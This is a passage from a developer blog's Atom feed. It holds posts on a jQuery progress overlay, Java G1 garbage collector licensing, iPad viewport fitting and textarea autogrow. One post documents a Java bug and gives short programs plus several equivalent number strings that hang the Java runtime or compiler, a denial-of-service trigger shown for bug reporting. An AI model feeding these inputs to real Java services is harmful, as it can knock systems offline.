&amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messenger").css("opacity",.7);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messenger").fadeIn('fast');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").css("width", document.body.offsetWidth);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").animate({opacity: "1", top: "+=" + addToAnimation, height: "100", width: document.body.offsetWidth}, "slow")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var myhtml = '&amp;lt;div style="float:left; position:relative; padding-top:30px;"&amp;gt;&amp;lt;img src="images/processing.gif" /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="float:left; position:relative; padding-top:40px;"&amp;gt;&amp;lt;font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;"&amp;gt;saving attachments...&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;'&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").html("");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").html(myhtml);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j.post('handlers/EmployeeRequisition.ashx', {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; requestedBy : GetRequestedBy(),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; requestor : GetRequestor(),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; requisitionDate : $j("#dtpRequisitionDate").val()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; function(data) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; myhtml = '&amp;lt;div style="float:left; position:relative; padding-top:30px;"&amp;gt;&amp;lt;img src="images/processing.gif" /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="float:left; position:relative; padding-top:40px;"&amp;gt;&amp;lt;font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;"&amp;gt;form saved... &amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;'&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").html("");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").html(myhtml);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").animate({opacity: "1"},2000, function(res) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var subtractThis = document.body.offsetHeight - 500;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messengermessage").animate({opacity: "0", top: "-=" + subtractThis, height: "0", width: document.body.offsetWidth}, "slow")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $j("#messenger").fadeOut('fast');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body style="font-family: Verdana; margin: 0px;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;form id="frmHR001" runat="server"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ............&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="button" id="btnSubmit" value="submit" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div id="messenger" style="float: none; position: absolute; width: 100%; height: 100%;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; background-color: #000000; display: none; left: 0; top: 0;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div id="messengermessage" style="float: none; position: absolute; width: 100%; height: 100px;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; background-color: #ffffff; display: none; left: 0; top: 0; text-align: center;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div style="float: left; position: relative; padding-top: 30px;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;img src="images/processing.gif" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div style="float: left; position: relative; padding-top: 40px;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;font style="font-family: Verdana; font-size: 14px; color: #000000; font-weight: bold;"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; processing...&amp;lt;/font&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;The code is quite long but then again it achieves our purpose. Let me know if there are any issues implementing this code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4938753921021112464?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4938753921021112464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4938753921021112464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4938753921021112464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4938753921021112464'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/07/cool-jquery-progress-indicator.html' title='Cool jQuery Progress Indicator'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2191846827602821948</id><published>2011-07-19T02:44:00.000-07:00</published><updated>2011-07-19T02:44:54.634-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='But Only If You Buy Support'/><category scheme='http://www.blogger.com/atom/ns#' term='java garbage'/><category scheme='http://www.blogger.com/atom/ns#' term='Java Gets New Garbage Collector'/><title type='text'>Java Gets New Garbage Collector, But Only If You Buy Support</title><content type='html'>"The monetization of Java has begun. Sun released the Java 1.6.0_14  JDK and JRE today which include a cool new garbage collector called G1.  There is just one catch. Even though it is included in the distribution,  the &lt;a href="http://java.sun.com/javase/6/webnotes/6u14.html"&gt;release notes&lt;/a&gt;  state 'Although G1 is available for use in this release, note that  production use of G1 is only permitted where a Java support contract has  been purchased.'  So the Oracle touch is already taking effect. Will &lt;a href="http://openjdk.java.net/"&gt;OpenJDK&lt;/a&gt; be doomed to a feature-castrated backwater while all the good stuff goes into the new &lt;a href="http://java.sun.com/javase/support/javaseforbusiness/"&gt;Java SE for Business&lt;/a&gt; commercial version?"&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div&gt;To try G1, specify these command line options:&lt;br /&gt;-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC&lt;/div&gt;&lt;/blockquote&gt;I don't see anything obvious preventing you from using it (no license/support keys?), it's just not recommended since it's &lt;i&gt;experimental&lt;/i&gt;.  If you're crazy enough to use it on a production server, you better  have a support contract so Sun/Oracle can fix any problems that come  along. That seems reasonable.&lt;br /&gt;Although it'd be better if they just said "don't use it for production, period."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2191846827602821948?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2191846827602821948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2191846827602821948' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2191846827602821948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2191846827602821948'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/07/java-gets-new-garbage-collector-but.html' title='Java Gets New Garbage Collector, But Only If You Buy Support'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3616232129527579520</id><published>2011-07-08T06:34:00.000-07:00</published><updated>2011-07-10T06:31:13.061-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java issue'/><category scheme='http://www.blogger.com/atom/ns#' term='java hangs'/><category scheme='http://www.blogger.com/atom/ns#' term='java bug'/><title type='text'>Java Hangs When Converting 2.2250738585072012e-308</title><content type='html'>Java — both its runtime and &lt;i&gt;compiler&lt;/i&gt; — go into an infinite loop  when converting the decimal number 2.2250738585072012e-308 to  double-precision binary floating-point. This number is supposed to  convert to 0x1p-1022, which is DBL_MIN; instead, Java gets stuck,  oscillating between 0x1p-1022 and 0x0.fffffffffffffp-1022, the largest  subnormal double-precision floating-point number.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Send a Java Program Into An Infinite Loop&lt;/h2&gt;Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):&lt;br /&gt;&lt;pre class="indented"&gt;class ujjwal{&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;  System.out.println("Test:");&lt;br /&gt;  double d = Double.parseDouble("2.2250738585072012e-308");&lt;br /&gt;  System.out.println("Value: " + d);&lt;br /&gt; }&lt;br /&gt;}&lt;/pre&gt;&lt;h2&gt;Send the Java Compiler Into An Infinite Loop&lt;/h2&gt;Try to compile this program; &lt;i&gt;the compiler will hang&lt;/i&gt;:&lt;br /&gt;&lt;pre class="indented"&gt;class compilehang {&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;  double d = 2.2250738585072012e-308;&lt;br /&gt;  System.out.println("Value: " + d);&lt;br /&gt; }&lt;br /&gt;}&lt;/pre&gt;&lt;pre class="indented"&gt;&lt;/pre&gt;&lt;h2&gt;Where’s the Problem?&lt;/h2&gt;For the runtime case at least, Konstantin has narrowed the problem down to the “correction loop” in &lt;a href="http://www.docjar.com/html/api/sun/misc/FloatingDecimal.java.html" title="FloatingDecimal.java"&gt;FloatingDecimal.java&lt;/a&gt;. See &lt;a href="http://www.exploringbinary.com/why-volatile-fixes-the-2-2250738585072011e-308-bug/comment-page-1/#comment-4645" title="See Konstantin Preisser’s Comments on Rick Regan's Article “Why “Volatile” Fixes the 2.2250738585072011e-308 Bug”"&gt;his comments&lt;/a&gt; on my PHP bug analysis article.&lt;br /&gt;Like PHP, Java gets stuck crossing the normalized/unnormalized border, &lt;strike&gt;but  in the opposite direction: it starts with an estimate just below  DBL_MIN — 0x0.fffffffffffffp-1022 — and is trying to get up to DBL_MIN.&lt;/strike&gt;  but with a twist: it starts with an estimate that is correct — DBL_MIN —  and then adjusts it to 0x0.fffffffffffffp-1022. It then adjusts &lt;i&gt;that&lt;/i&gt; back to DBL_MIN, and &lt;a href="http://www.exploringbinary.com/a-closer-look-at-the-java-2-2250738585072012e-308-bug/" title="Read Rick Regan's Article “A Closer Look at the Java 2.2250738585072012e-308 Bug”"&gt;around it goes…&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Bug Report&lt;/h2&gt;Konstantin reported this problem to Oracle three weeks ago, but is  still waiting for a reply. (Update: as per Konstantin’s comment below,  the bug has been assigned “internal review ID of 1949967, which is NOT  visible on the Sun Developer Network (SDN)”.)&lt;br /&gt;&lt;h3&gt;Update: Previous Bug Reports Describe the Same Problem&lt;/h3&gt;Readers found two bug reports that describe the same problem  (although not in terms of the magic number 2.2250738585072012e-308): &lt;a href="http://bugs.openjdk.java.net/show_bug.cgi?id=100119" title="See Bug Report 100119 "&gt;bug number 100119 from 2009&lt;/a&gt;, and &lt;a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4421494" title="See Bug Report 4421494 "&gt;bug number 4421494 from &lt;b&gt;2001&lt;/b&gt;&lt;/a&gt;. (But don’t bother clicking on that last one — the link is now dead, as of 2/3/11.)&lt;br /&gt;&lt;h2&gt;Addendum&lt;/h2&gt;As pointed out in the comments below, equivalent forms of the number cause the problem as well; examples:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;0.00022250738585072012e-304 (decimal point placement)&lt;/li&gt;&lt;li&gt;00000000002.2250738585072012e-308 (leading zeros)&lt;/li&gt;&lt;li&gt;2.225073858507201200000e-308 (trailing zeros)&lt;/li&gt;&lt;li&gt;2.2250738585072012e-00308 (leading zeros in the exponent)&lt;/li&gt;&lt;li&gt;2.2250738585072012997800001e-308 (superfluous digits beyond digit 17)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3616232129527579520?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3616232129527579520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3616232129527579520' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3616232129527579520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3616232129527579520'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/07/java-hangs-when-converting.html' title='Java Hangs When Converting 2.2250738585072012e-308'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8909202117347207419</id><published>2011-06-01T04:35:00.000-07:00</published><updated>2011-06-01T04:35:50.022-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='landscape autofit ipad'/><category scheme='http://www.blogger.com/atom/ns#' term='ipad site rendering'/><category scheme='http://www.blogger.com/atom/ns#' term='ipad'/><category scheme='http://www.blogger.com/atom/ns#' term='autofit ipad website potrait'/><title type='text'>Fitting website on Apple IPad</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi, &lt;br /&gt;&lt;br /&gt;Recently, we had to release an IPad version of one of our websites, an existing website needed to be converted to display on an IPad. I had a major issue when some one rendered the site from landscape to portrait and from portrait to landscape on an ipad, the site does not get auto fitted.&lt;br /&gt;&lt;br /&gt;To overcome this issue, i had to set view port in meta tag on all my jsp pages.&lt;br /&gt;&lt;br /&gt;I did something like this ::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;meta name="viewport" content="width=800" /&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now it renders site correctly on an ipad.. :)&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8909202117347207419?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8909202117347207419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8909202117347207419' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8909202117347207419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8909202117347207419'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/06/fitting-website-on-apple-ipad.html' title='Fitting website on Apple IPad'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6303958540061898169</id><published>2011-06-01T02:37:00.000-07:00</published><updated>2011-06-01T02:37:15.595-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='auto expand text area'/><category scheme='http://www.blogger.com/atom/ns#' term='text area autofix'/><category scheme='http://www.blogger.com/atom/ns#' term='text area'/><category scheme='http://www.blogger.com/atom/ns#' term='Autofit textarea with dynamic text on load'/><category scheme='http://www.blogger.com/atom/ns#' term='autogrow text area'/><title type='text'>Autofit textarea with dynamic text on load</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;Hi,&lt;br /&gt;&lt;br /&gt;I wanted to autofit textarea rows which contained dynamic text from database on page load. I tried many plugins and other javascript tweaks. Atlast, i found a jquery plugin for this.&lt;br /&gt;&lt;br /&gt;I did this as under::&lt;br /&gt;&lt;br /&gt;Step 1 :: Add autogrow text area js file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;script src="&amp;lt;%=request.getContextPath()%&amp;gt;/script/jquery.autogrowtextarea.js"&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Step 2 :: Call Text Area Exploder Function on page load&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(document).ready(function() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;$(&amp;amp;quot;#textAreaDescription&amp;amp;quot;).TextAreaExpander(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }); &lt;/pre&gt;&lt;br /&gt;You can download the js file from below link ::&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sites.google.com/site/ujjwalbsoni/Home/jquery.autogrowtextarea.js"&gt;https://sites.google.com/site/ujjwalbsoni/Home/jquery.autogrowtextarea.js&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you have any further queries, please let me know.. &lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6303958540061898169?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6303958540061898169/comments/default' 